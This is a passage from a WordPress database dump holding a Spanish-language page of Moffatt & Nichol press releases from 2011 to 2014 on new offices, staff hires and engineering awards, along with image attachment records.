colegiada en el Reino Unido y obtuvo su diploma de maestría de Hidráulica en ingeniería civil en la Universidad de Salford, Reino Unido.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"9\">Moffatt & Nichol inaugura una oficina en Eastern Great Lakes</h3>\r\nLONG BEACH, CA, 8 de agosto, 2011— Moffatt & Nichol se complace en anunciar la expansión de nuestra empresa con la incorporación de la oficina de Eastern Great Lakes, ubicada en Rochester, Nueva York. Dirigida por John Schirmer, Gerente principal de proyectos, la oficina de Eastern Great Lakes se concentrará en proporcionar soluciones innovadoras a puertos, frentes de mar urbanos, puertos deportivos, transporte y movimiento de mercancías, así como a las industrias marítimas relacionadas. Durante los tres últimos años, Moffatt & Nichol ha apoyado el área con varios proyectos relacionados con el planeamiento, diseño e ingeniería del frente costero. Ubicada en la parte oeste de Nueva York, con un práctico acceso a Canadá y a la región de los Grandes Lagos, la nueva oficina servirá como un centro crítico para cubrir las necesidades de nuestros clientes de todo el mundo.\r\n\r\nMoffatt & Nichol\r\n250 Mill Street, Suite 307\r\nRochester, NY 14614\r\nP: 585-641-7128\r\nE: <a href=\"mailto:jschirmer@moffattnichol.com\">jschirmer@moffattnichol.com</a>\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"10\">Richard Rocktoff se une como Gerente Principal de proyectos de transporte</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Rocktoff_photo.jpg\"><img class=\"alignnone size-medium wp-image-2470\" title=\"Rocktoff_photo\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Rocktoff_photo-239x300.jpg\" alt=\"\" width=\"239\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 25 de julio, 2010—Richard Rocktoff se une al equipo de transporte de Moffatt & Nichol como Gerente Principal de proyectos de transporte. Con más de 20 años de experiencia en proyectos de transporte, el ingeniero Rocktoff aporta su experiencia profesional y su singulares capacidades en complejas geometrías de diseño horizontal y vertical, diseño de intercambios e intersecciones, servicios post-diseño y proyectos de entrega alternativa a la empresa.\r\n\r\nAntes de unirse a Moffatt & Nichol, el ingeniero Rocktoff fue responsable de varios de los mayores proyectos de entrega alternativa del Departamento de Transporte de Florida (FDOT, por sus siglas en inglés) en varios distritos del FDOT. Anteriormente trabajó como Subgerente de diseño en la asociación público-privada para la reconstrucción de la carretera interestatal I-595 del distrito cuatro del FDOT. Coordinó los esfuerzos de los diferentes equipos de diseño para terminar un diseño de dieciocho meses que incluyó diez intercambios sobre 19 km de autopista interestatal. El proyecto P3 de $1200 millones también introdujo tres carriles expresos reversibles y con peaje dentro del derecho de paso existente.\r\n\r\nComo ingeniero de proyecto del diseño y construcción de la carretera US 1 y del puente Jewfish Creek, el ingeniero Rocktoff supervisó el diseño de la reconstrucción de 11,2 km de la carretera US 1, incluido el reemplazo del puente de báscula existente desde Key Largo hasta Florida continental por un puente de alto nivel de 2,4 km y la adición de dos nuevos intercambios. También fue el ingeniero colegiado responsable para el proyecto del diseño y la construcción de la carretera interestatal I-4 y manejó el diseño de la calzada en la reconstrucción del intercambio US 27 y del ensanchamiento y revestimiento de 14,4 km de la carretera I-4 a través del Green Swamp.\r\n\r\nEl ingeniero Rocktoff tiene certificación FDOT en Mantenimiento avanzado de diseño de tráfico y tiene gran experiencia en las aplicaciones de software Geopak y MicroStation. Tiene un diploma de MBA de la Universidad del Sur de Florida y un diploma de pregrado de ingeniería civil de la Universidad de Florida.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"11\">Moffatt & Nichol se expande en América Latina con nueva oficina en Colombia</h3>\r\nLONG BEACH, CA, 18 de julio, 2011—Moffatt & Nichol continúa su expansión en América Latina con la creación de una oficina en Bogotá, Colombia. Aunque Moffatt & Nichol ha estado activo durante un largo tiempo en Colombia, el inicio de Moffatt & Nichol Colombia S.A.S. marca el sincero compromiso de la empresa con una presencia a largo plazo en el país para apoyar la continuada modernización de la infraestructura marítima y de transporte de Colombia.\r\n\r\nMoffatt &amp; Nichol\r\nAv. Cra. 9, No. 113-52, Of. 1201\r\nTorre Unidas 2\r\n\r\nBogotá D.C., Colombia\r\nP: +57 313 373 5350\r\nE: <a href=\"mailto:dames@moffattnichol.com\">dames@moffattnichol.com</a>\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"12\">Proyecto de GPA de Moffatt & Nichol gana premio de ingeniería de Georgia</h3>\r\nSAVANNAH, GA, 1 de abril, 2011— Georgia Engineering Alliance confirió a Moffatt & Nichol un Premio de honor en Excelencia de ingeniería por el proyecto del corredor Cross Terminal Road & Bridge. Como parte de un contrato en marcha, Moffatt & Nichol se encargó del planeamiento, diseño y apoyo de construcción para el nuevo corredor “Cross Terminal Road” de 3,2 km a un costo de $6,6 millones, que proporciona un acceso directo desde el extremo norte de la terminal al extremo sur.\r\n\r\n“Creo que este proyecto puede ser el que tenga el mayor impacto en la productividad y seguridad de cualquier proyecto de infraestructura en la terminal de Garden City desde su conversión a una terminal de contenedores”, comentó el ingeniero Wilson Tillotson, Director principal de ingeniería y mantenimiento de instalaciones de la Autoridad Portuaria de Georgia.\r\n\r\nEl Plan para la Terminal de Garden City, FOCUS 2015, de la Autoridad Portuaria de Georgia, incluyó la calzada de un nuevo corredor con cinco carriles de ancho, dos carriles en cada dirección y un carril de giro. El proyecto incluyó la instalación de casi 3,2 km de calzada de concreto asfáltico a través de la terminal, lo que mejoró la circulación en las congestionadas intersecciones, además de haber sido construido sin interrumpir las operaciones de la terminal.\r\n\r\nMoffatt & Nichol prestó soporte a tiempo completo durante varias etapas de la construcción: demolición, reubicación de equipos de servicios públicos, nivelación, construcción del puente, pavimentación, pintado de franjas indicadoras, señalización y control de tráfico, a fin de minimizar el impacto en las operaciones de la terminal. La construcción de Cross Terminal Road fue terminada sin prácticamente causar impacto negativo alguno sobre las operaciones de la terminal, por debajo del presupuesto y dos semanas antes de lo programado.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>','Comunicados de Prensa','','inherit','open','open','','1399-revision-23','','','2014-02-17 20:09:14','2014-02-17 20:09:14','',1399,'http://moffattnichol.com/spanish/1399-revision-23/',0,'revision','',0),(2822,1,'2014-05-21 22:54:28','2014-05-21 22:54:28','','Sign','','inherit','open','open','','sign','','','2014-05-21 22:54:28','2014-05-21 22:54:28','',0,'http://moffattnichol.com/spanish/wp-content/uploads/2014/05/Sign.jpg',0,'attachment','image/jpeg',0),(2823,1,'2014-05-21 23:18:58','2014-05-21 23:18:58','','photo','','inherit','open','open','','photo','','','2014-05-21 23:18:58','2014-05-21 23:18:58','',0,'http://moffattnichol.com/spanish/wp-content/uploads/2014/05/photo.jpg',0,'attachment','image/jpeg',0),(2824,1,'2014-05-21 23:21:51','2014-05-21 23:21:51','','ASCE Project of the Year 2','','inherit','open','open','','asce-project-of-the-year-2','','','2014-05-21 23:21:51','2014-05-21 23:21:51','',0,'http://moffattnichol.com/spanish/wp-content/uploads/2014/05/ASCE-Project-of-the-Year-2.jpg',0,'attachment','image/jpeg',0),(2825,1,'2014-05-21 23:30:49','2014-05-21 23:30:49','','Robin Dolan-FINAL','','inherit','open','open','','robin-dolan-final','','','2014-05-21 23:30:49','2014-05-21 23:30:49','',0,'http://moffattnichol.com/spanish/wp-content/uploads/2014/05/Robin-Dolan-FINAL.jpg',0,'attachment','image/jpeg',0),(2826,1,'2014-05-21 23:34:41','2014-05-21 23:34:41','','Marcos Vendramini-FINAL','','inherit','open','open','','marcos-vendramini-final','','','2014-05-21 23:34:41','2014-05-21 23:34:41','',0,'http://moffattnichol.com/spanish/wp-content/uploads/2014/05/Marcos-Vendramini-FINAL.jpg',0,'attachment','image/jpeg',0),(2827,1,'2014-04-01 17:40:59','2014-04-01 17:40:59','<div class=\"content_faq\">\r\n<h1>comunicados de prensa</h1>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"26\">Moffatt &amp; Nichol Da La Bienvenida Paul Wallis Como Ingeniero Estructural Senior</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/04/Paul-Wallis.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/04/Paul-Wallis.jpg\" alt=\"\" width=\"250\" height=\"313\" /></a>\r\n\r\nANCHORAGE, AK, Marzo 20, 2014 – Moffatt & Nichol se complace en anunciar la incorporación de Paul Wallis, PE, SE, MLSCE al equipo de la oficina de Anchorage como ingeniero estructural Senior. Con más de 16 años de experiencia en diseño estructural y análisis de edificaciones nuevas y existentes, posee amplia experiencia en diseño y análisis de alta sismicidad y vientos fuertes  y proyectos de ingeniería en el Ártico, sub Ártico y Antártico. El Sr. Wallis será un valioso activo para el equipo de Moffatt & Nichol Anchorage, donde dirigirá proyectos a medida que la firma continua su crecimiento en el área. \r\n\r\nEl Sr. Wallis también aporta una sólida comprensión de administración de proyectos para una variedad de estudios. Esto incluye la investigación y diseño de instalaciones marítimas nuevas y existentes, construcciones verticales que van desde bodegas, hangares y oficinas en general, hasta una variedad de instalaciones industriales y militares e instalaciones para patios de gas y petróleo. Los clientes para los trabajos en los que el Sr. Willis ha participado van desde municipios, la Guardia Nacional del Ejército de los Estados Unidos, la Fuerza Aérea de los Estados Unidos, El Cuerpo de Ingenieros de los Estados Unidos, y la Fundación Nacional de Ciencias. \r\n\r\nEl Sr. Willis es un ingeniero estructural egresado de la Universidad de Alaska, Fairbanks, y posee registro de Ingeniero Profesional e Ingeniero Estructural.  También es miembro de la Junta Nacional de Inspectores para certificaciones de ingeniería y estudios para MLSE, es miembro activo de la Asociación de Ingenieros Estructurales de Alaska (SEAAK) y del Consejo de Profesionales de Diseño de Alaska (APDC), y es actualmente presidente para ambas agrupaciones. Otras afiliaciones profesionales incluyen el Instituto Americano de Construcción con Acero y la Sociedad Americana de Ingenieros Civiles. \r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"25\">Moffatt &amp; Nichol Da La Bienvenida A Jerry L. Neal, Como Ingeniero Senior Y Estimador De Costos</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/02/Jerry-Neal_052412_DutraGroup.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/02/Jerry-Neal_052412_DutraGroup.jpg\" alt=\"\" width=\"250\" height=\"313\" /></a>\r\n\r\nWALNUT CREEK, CA, 20 de febrero de 2014 – Moffatt & Nichol se complace en anunciar la integración de Jerry L. Neal a la oficina de la firma en Walnut Creek. Con más de 37 años de experiencia en importantes proyectos de construcción de ingeniería civil y marítimos, tanto nacionales como fuera del país, funcionará como Ingeniero Senior y como estimador de costos para Moffatt & Nichol.  \r\n\r\nAntes de Moffatt & Nichol, el señor Neal fue el jefe estimador de costos para The Dutra Group, durante 11 años. Bajo su cargo manejó un equipo de estimadores, ingenieros, personal de administración de contratos e ingenieros de costos. \r\n\r\nEl Sr. Neal se integra con un sólido conocimiento de gerencia y estimación de costos en una variedad de proyectos, incluyendo puertos, presas y diques, plantas eléctricas y minas. Sus proyectos pasados de particular interés incluyen la Marina Cabrillo Way del Puerto de Los Ángeles, la cual fue diseñada por Moffatt & Nichol y para la cual la firma ofreció servicios de adquisición de permisos y apoyo en la construcción. El Sr. Neal también trabajó en el Puerto de Oakland, Fase 3E profundización a -50 pies; Muelle 102 para el Puerto de Los Ángeles; dragado anual de mantenimiento para el Puerto de Anchorage y varios otros proyectos de rehabilitación y fortalecimiento de diques  en el Delta de California. \r\n\r\nIngeniero Registrado, el Sr. Neal recibió su diploma de Licenciatura en Ingeniería Civil del South Dakota School of Mines and Technology. También posee un título de Maestría en Administración Estratégica de Negocios, del California State University, East Bay. \r\n</div>\r\n\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"24\">David W. Huchel Se Une A Moffatt &amp; Nichol Como Asesor General</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/02/David-Huchel-Original.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/02/David-Huchel-Original.jpg\" alt=\"\" width=\"250\" height=\"350\" /></a>\r\n\r\nLONG BEACH, CA, 14 de febrero de 2014 – David Huchel se une a Moffatt & Nichol como Asesor General para la firma. Aporta más de 23 años de experiencia en legislación de construcción, litigios civiles, resolución de conflictos y mediación.  La carrera del Sr. Huchel se ha enfocado en apoyar clientes en la industria de la arquitectura, ingeniería y construcción. \r\n\r\n“Me llama la atención la tradición de excelencia de Moffatt & Nichol y su fuerte reputación en la industria”, comentó sobre su incorporación a la firma. “En el pasado, he trabajado con Moffatt & Nichol en la formación de equipos y otros acuerdos. Siempre me ha impresionado la solidez técnica y profesional de Moffatt & Nichol”. \r\n\r\nPrevio a Moffatt & Nichol, el Sr. Huchel trabajó para AECOM, donde fue Vicepresidente y Gerente Asesor de los grupos marítimos de la región oeste y América del Norte. Anteriormente fue el Asesor General y Secretario Corporativo para Boyle Engineering Corporation y fue Director de Boyle Holding Corporation, antes de que la firma fuera adquirida por AECOM. Con Boyle y AECOM apoyó la línea de negocios de servicios acuáticos y transporte, trabajando en una variedad de proyectos portuarios, de humedales y de frente de mar.  La práctica privada del Sr. Huchel en litigios civiles incluye seis años con Ford, Walker, Haggerty & Behar, para la oficina de la firma en Long Beach, California.\r\n\r\nFue admitido en la Asociación de Abogados de California en 1990, luego de obtener su diploma de Juris Doctor de University of the Pacific, McGeorge School of Law. El Sr. Huchel es miembro de la Asociación de Abogados Americanos, Asociación de Abogados de Los Ángeles, Asociación de Abogados del Condado de Orange y la Asociación de Asesores Corporativos. \r\n</div>\r\n\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"23\">Moffatt &amp; Nichol Anuncia Al Ingeniero Eric Burke Como Nuevo Líder De Unidad De Negocio Para La Oficina De Richmond</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/02/C.-Eric-Burke_MN.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/02/C.-Eric-Burke_MN.jpg\" alt=\"\" width=\"250\" height=\"374\" /></a>\r\n\r\nRICHMOND, VA, febrero 4, 2014—Moffatt & Nichol se complace en anunciar que el ingeniero Eric Burke, se une a nuestra firma como Líder de Unidad de Negocio para la oficina de Richmond. El Sr. Burke obtuvo su título de licenciatura y su maestría en Virginia Polytechnic Institute y cuenta con más de 20 años de experiencia en ingeniería civil y proyectos de transporte. Además, trae a la firma una probada trayectoria de exitoso manejo de operaciones multidisciplinarias de ingeniería y ambiente en Virginia, Carolina del Norte y Carolina del Sur. \r\n\r\nLa oficina de Richmond  de Moffatt & Nichol ha crecido 50 por ciento en los dos últimos años. El Sr. Burke será un valioso activo para el equipo de la oficina de Richmond donde estará a cargo de liderar el grupo de ingenieros profesionales y gerentes de proyectos, al tiempo que la firma continuará creciendo y expandiendo sus capacidades en la práctica de transporte hacia la región centro-atlántica de los Estados Unidos. \r\n\r\nA través de su carrera, el Sr. Burke ha estado relacionado con el diseño y construcción de proyectos en el este de los Estados Unidos. Trae a Moffatt & Nichol un amplio espectro de conocimientos y de manejo de proyectos de transporte gracias a su experiencia trabajando y administrando varios aspectos del diseño de transporte, planeación ambiental y permisos. También ha manejado varios contratos multianuales “on-call” para Federal Highway Administration, South Carolina Department of Transportation, la ciudad de Richmond y otras entidades públicas. \r\n\r\n“La vasta pericia técnica y administrativa de Eric se ajusta perfectamente con nuestra oficina de Richmond”, comentó el ingeniero Eric Nichol, presidente de Moffatt & Nichol. “Estamos complacidos que se haya unido a nuestro equipo de líderes para seguir proporcionando valor a nuestros clientes en el área”. \r\n</div>\r\n\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"22\">Kevin Rai Se Une A Moffatt &amp; Nichol Como Ingeniero Eléctrico Junior</h3>\r\n\r\nVANCOUVER CB, Canadá, enero 2014 - Moffatt & Nichol se complace en dar la bienvenida a Kevin Rai, para la posición de Ingeniero Eléctrico Junior en nuestra oficina de Vancouver. El Sr. Rai trabajó como técnico y diseñador eléctrico en los últimos años mientras completaba sus estudios en el Instituto de Tecnología de Columbia Británica. En marzo obtendrá el título de  Licenciatura en Tecnología en Ingeniería Eléctrica.\r\n\r\nPara el Sr. Rai, obtener esta posición en Moffatt & Nichol es solamente el comienzo. “El cielo es el límite con Moffatt & Nichol”,  comentó. “Estoy interesado en aprender de los diversos grupos de profesionales de la firma, de interactuar con clientes al tiempo que optimizo mi nivel de conocimiento y logro la experiencia requerida para obtener mi licencia profesional en ingeniería en la provincia de Columbia Británica y el estado de Washington”. \r\n\r\nEl Sr. Rai tiene experiencia directa trabajando con diseños eléctricos para clientes en la industria minera, pero transferirá sus destrezas a las áreas de práctica de Moffatt & Nichol, incluyendo energía, puertos, muelles y terminales marítimas. Sus servicios más frecuentes incluyen la preparación de planos, diseños, cálculos y estimaciones de costos para ingeniería convencional, investigación y desarrollo de tareas.\r\n\r\n“Estoy emocionado de utilizar mis conocimientos para contribuir con el crecimiento  y éxito del equipo de Moffatt & Nichol”, comentó el Sr. Rai. “Quiero agradecer al personal por recibirme a bordo con gran profesionalismo y actitud positiva. Espero poder trabajar y conocerlos a todos”. \r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"21\">Moffatt &amp; Nichol Se Destaca Con Una Mención Honorífica En La Competencia De Diseño “Por Un Rockaway Revivificado” (FAR ROC) En New York</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/FAROC-cap.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/FAROC-cap.jpg\" alt=\"\" width=\"500\" height=\"374\" /></a>\r\n\r\nLONG EACH, CA. Diciembre 17, 2013 – Como parte de un equipo, Moffatt & Nichol recientemente obtuvo la mención honorífica en la competencia internacional de diseño FAR ROC, con su plan de renovación de 80 acres en Arverne East en Rockaway, un comunidad costera fuertemente golpeada por la super tormenta Sandy más de un año atrás. \r\n\r\nMoffatt & Nichol fue el líder de la ingeniería costera para un equipo de 17 miembros dirigidos por Mithūn - sede en Seattle, Washington. La propuesta del equipo ofreció siete pasos para un sitio flexible y sostenible, que en el futuro sea capaz de resistir cualquier devastador desastre natural como lo fue Sandy. La idea comenzó con rodear el actual patrón de la tierra; expandir las fronteras; elevar las zonas de desarrollo; extender la infraestructura en fases completas; dotar de un distrito maestro; mejorar y reavivar la comunidad existente y preparar para cambios a largo plazo. \r\n\r\nLas comunidades costeras como Arverne East sufrieron algunos de los peores daños por la tormenta Sandy. Sin embargo, comunidades costeras cercanas como Arverne by the Sea se mantuvieron bastante bien gracias a drenajes pluviales mejorados, sitios elevados e infraestructuras fuertes, lecciones que Moffatt & Nichol incorporó en el plan a largo plazo para la costa de Arverne East. La propuesta incluyó la ampliación de la playa, veredas, mejoramiento de dunas, una explanada elevada y una forma urbana convexa. \r\n\r\n“Este esfuerzo fue único en el sentido de que el equipo desarrolló un plan creativo que consideró las incertidumbres para las futuras elevaciones del nivel del mar, aumento de la frecuencia de las tormentas y aumento de la densidad urbana en una solución práctica que es viable, financiable, y asegurable”, dijo Robert Sloop, Gerente de Proyecto Costero para el equipo de Moffatt & Nichol. La propuesta de diseño fue seleccionada entre 117 opciones de más de 20 países. \r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"20\">Moffatt &amp; Nichol Recibe Premio ACEC/NC Award Por Diseño De Sistemas De Manejo De Aguas Pluviales De La Whalehead Subdivision</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/ACEC.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/ACEC.jpg\" alt=\"\" width=\"500\" height=\"400\" /></a>\r\n\r\nRALEIGH, NC, Diciembre 16, 2013 – Moffatt & Nichol recibió el Premio Honorífico por Excelencia en la Ingeniería en la categoría agua / y aguas residuales por el diseño del sistema de manejo de agua residual de Whalehead Subdivision en el Condado de Currituck, Carolina del Norte, premio otorgado por el American Council of Engineering Companies, Carolina del Norte (ACEC/NC).\r\n\r\nMoffatt & Nichol proporcionó el diseño preliminar y final, documentos de construcción y administración limitada de la construcción, para el desarrollo en fases de un sistema de disminución del nivel freático. El sistema consiste en el bombeo de las aguas infiltradas a través de tuberías que llegan a las lagunas de bioretención, que posteriormente fluyen hacia Currituck Sound. Este estudio implicó la planeación maestra de las aguas pluviales, reemplazando las calles existentes con veredas y cuencas de bioretención con vegetación propia del lugar. También incluyó la instalación de tuberías de drenaje debajo de las cuencas y el bombeo de agua desde las tuberías de drenaje hacia una red de tuberías de impulsión que conducían hacia lagunas adyacentes a Currituck Sound.  \r\n\r\n“Moffatt & Nichol se siente honrado en haber contribuido con este proyecto dirigido a la comunidad”, dijo Timothy Reid, Vice Presidente de Moffatt & Nichol. “Estamos orgullosos de haber sido socios del Condado de Currituck y de los residentes de Whalehead en este innovador sistema de infiltración y bombeo,  uno de los primeros en su clase en Carolina del Norte. Este reconocimiento de ACEC/NC es un verdadero honor”. \r\n\r\nLa comunidad se beneficia con este proyecto primero a través de la reducción de las frecuentes y molestas inundaciones y la eliminación de inundaciones de larga duración después de fuertes lluvias. La remoción y reemplazo de la calle con veredas y áreas naturales también sirvió para embellecer y proveer una solución ecológica. La comunidad ha acogido el sistema que ofrece acceso público al mar y que también es una atracción, en lugar de una solución convencional.\r\n\r\nEl sistema se ha desempeñado bien durante varios huracanes y temporales del noreste y los residentes están listos para recibir las fases adicionales, comentó  Eric Weatherly, ingeniero de Currituck County. \r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"19\">Moffatt &amp; Nichol Abre Nuevas Oficinas En El Centro De New Orleans</h3>\r\n\r\nNEW ORLEANS, LA. Diciembre 12, 2013 – Moffatt & Nichol recientemente abrió una nueva oficina en el Pan American Building en el centro de New Orleans. Como complemento a la actual oficina de la firma en Baton Rouge, la integración de New Orleans constituye la trigésima oficina para esta firma internacional de ingeniería.\r\n\r\nBajo el liderazgo de Jonathan Hird con el cargo de Líder de Unidad de Negocios y Vicepresidente Asociado, los servicios profesionales de la firma en Luisiana se expanden de servicios de ingeniería costera a puertos intermodales, terminales marítimas, manejo de graneles, inspección y rehabilitación.  La firma ha tenido presencia en Luisiana desde 2001.\r\n\r\n“A través de contrataciones estratégicas y transferencias internas clave, nuestro equipo laboral de Luisiana ha crecido para incluir ingenieros costeros, civiles, hidráulicos, estructurales y mecánicos altamente capacitados y estamos creciendo rápido”, comentó el Sr. Hird. Estamos orgullosos de continuar sirviendo nuestros clientes locales con esta capacidad ampliada. \r\n\r\nUbicado en la ribera del río Mississippi, New Orleans es un centro de transporte crucial y un centro de distribución para el comercio que se mueve por agua. La nueva oficina servirá como instalación clave para suplir las necesidades de los clientes de Moffatt & Nichol localmente y a nivel mundial. \r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"18\">PhD Gerald McCrain se integra a Moffatt & Nichol como especialista ambiental Senior</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/Gerald.jpg\"><img title=\"Gerald McCrain\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/Gerald.jpg\" alt=\"\" width=\"130\" height=\"182\" /></a>\r\nRaleigh, Carolina del Norte. Diciembre 5, 2013 – Moffatt & Nichol le da la bienvenida a Jerry McCrain, para ejercer el cargo de especialista ambiental senior en nuestras oficinas de Raleigh. El doctor McCrain aporta más de 38 años de continua y progresiva experiencia en el campo, al igual que su pasión por el manejo ambiental. Ha colaborado con la planeación y manejo de importantes proyectos ambientales para el Departamento de Transporte de Carolina del Norte, al igual que para oficinas federales, del estado y agencias locales, aportando su experiencia a numerosos análisis de cuencas, humedales y estudios ambientales. También ha trabajado extensamente con el Triangle Transit Authority, con la Agencia de Protección del Ambiente y con el Programa de Mejoras al Ecosistema de Carolina del Norte. \r\n\r\nSus servicios ambientales más frecuentes para proyectos de transporte han incluido administración de proyectos, planeación estratégica, procesos y cumplimientos de regulaciones ambientales tales como el National Environmental Policy Act (NEPA), adquisición y cumplimiento de permisos, apoyo y asistencia a políticas y programas, evaluación funcional, evaluación de sitio, estudios de comunidad (humedales y terrestres), delineación, restauración y mitigación, y coordinación con agencias federales, estatales y locales. \r\n\r\nEl Dr. McCrain se describe como un facilitador en procesos en los que existen fuertes opiniones en ambos lados. “Creo en hacer las cosas de la manera correcta sin comprometer otros aspectos de nuestra vida”, comentó. “Debe haber un enfoque de “amplio espectro” para integrar la ciencia y la ingeniería. Moffatt & Nichol comparte esta visión y estoy orgulloso de sumarme a este equipo”.\r\n\r\nEl Dr. McCrain obtuvo su título de Maestría en Ciencias Botánicas en North Carolina State University (NCSU). También posee un doctorado en Manejo de Recursos del NCSU. Sus afiliaciones profesionales incluyen la Sociedad de Científicos de Humedales, la Academia de Profesionales Ambientales Certificados y la Sociedad de Investigación Científica Sigma Xi.\r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"17\">Kerry Simpson se une a Moffatt &amp; Nichol</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/kerrysimpson.jpg\"><img title=\"Kerry Simpson\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/kerrysimpson.jpg\" alt=\"\" width=\"154\" height=\"214\" /></a>\r\nLONG BEACH, CA, Diciembre 3, 2013 – Moffatt & Nichol se complace en anunciar que el ingeniero Kerry Simpson se une a nuestra firma como miembro clave para la práctica de terminales marítimas. El Sr. Simpson tiene más de 23 años de experiencia enfocada en la planeación, análisis y diseño de terminales portuarias, incluyendo terminales ferroviarias y de contenedores. Ha trabajado extensamente con autoridades portuarias, compañías navieras, operadores de terminales, compañías ferroviarias y proveedores de equipos y sistemas. Su experiencia abarca desde planeación conceptual hasta la culminación de la construcción y ha realizado análisis y planeación para numerosas terminales de contenedores, incluyendo patios de almacenaje, patios de ferrocarril intermodal, garitas, edificios y seguridad en sitio. Ha estado involucrado en la planeación y diseño de numerosas terminales con un rendimiento anual superior a los 2,000,000 de TEUs y posee amplios conocimientos en diseño, diversos modos operativos para terminales y todo tipo de equipo para manejo de contenedores. \r\n\r\n“La amplia y profunda experiencia de Kerry en planeación portuaria, análisis y diseño es una valiosa adición a nuestras capacidades integradas” comentó Richard Steinke, líder de la práctica de terminales marítimas para Moffatt & Nichol. “Estamos contentos de tenerlo a bordo para proveer apoyo a nuestros clientes a nivel mundial”.\r\n\r\nEl señor Simpson obtuvo su título de maestría en Ingeniería Civil en California State University y su título de licenciatura en Ciencias Oceanográficas en Humbold State University. Es también miembro activo de Sociedad Americana de Ingenieros Civiles.\r\n\r\nSobre su transición a Moffatt & Nichol, el Sr. Simpson comentó: “esta es una gran oportunidad de participar en los futuros emprendimientos de Moffatt & Nichol y de continuar desarrollando puertos de primera clase alrededor del mundo. Estoy orgulloso de sumarme a este equipo”. \r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"16\">Moffatt & Nichol da la bienvenida a Olie Abbamonto como Directora de Finanzas</h3>\r\n<a href=\"http://www.moffattnichol.com/wp-content/uploads/2013/11/Olie-Abbamonto_Headshot.jpg\"><img title=\"Olie Abbamonto\" src=\"http://www.moffattnichol.com/wp-content/uploads/2013/11/Olie-Abbamonto_Headshot.jpg\" alt=\"\" width=\"200\" height=\"280\" /></a>\r\nLONG BEACH, CA, noviembre 12, 2013 – Moffatt & Nichol se complace en anunciar que Olie Abbamonto se une a la firma como Directora de Finanzas. La señora Abbamonto posee más de 20 años de experiencia en manejo financiero, planificación estratégica y contabilidad con firmas internacionales, con experiencia en implementación de Six Sigma. \r\n\r\nEn su papel como Directora de Finanzas, la señora  Abbamonto se encargará de supervisar las responsabilidades del día a día de la planificación, implementación, administración y control de todas las actividades financieras de la empresa. Previo a su integro a Moffatt & Nichol, la señora Abbamonto fue Vice Presidenta de Finanzas y Directora de Finanzas en Cardno ERI, una firma consultora ambiental, subsidiaria de Cardno, donde se desempeñó en comités domésticos y globales. Anteriormente con Mazda North American Operations la señora Abbamonto fue totalmente responsable del desarrollo e implementación del programa Six Sigma para las operaciones de la firma en  de América del Norte. \r\n\r\nLa señora Abbamonto es egresada de Ain Shames University en Cairo, Egipto. Es también miembro activa de Financial Executives International, y se ha desempeñado como miembro de la directiva. Este año fue nominada como Jefa de Finanzas del año para el Business Journal del condado de Orange.\r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"15\">Moffatt & Nichol recibe el Premio COPRI 2013 por el proyecto Port Pavilion en Broadway</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Port-Paviliion-at-Broadway-Pier-No.-2.jpg\"><img title=\"Port Pavilion en Broadway Pier\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Port-Paviliion-at-Broadway-Pier-No.-2.jpg\" alt=\"\" width=\"433\" height=\"270\" /></a>\r\nSAN DIEGO, CA, septiembre 27, 2013 – La Sociedad Americana de Ingeniería Civil, Instituto de 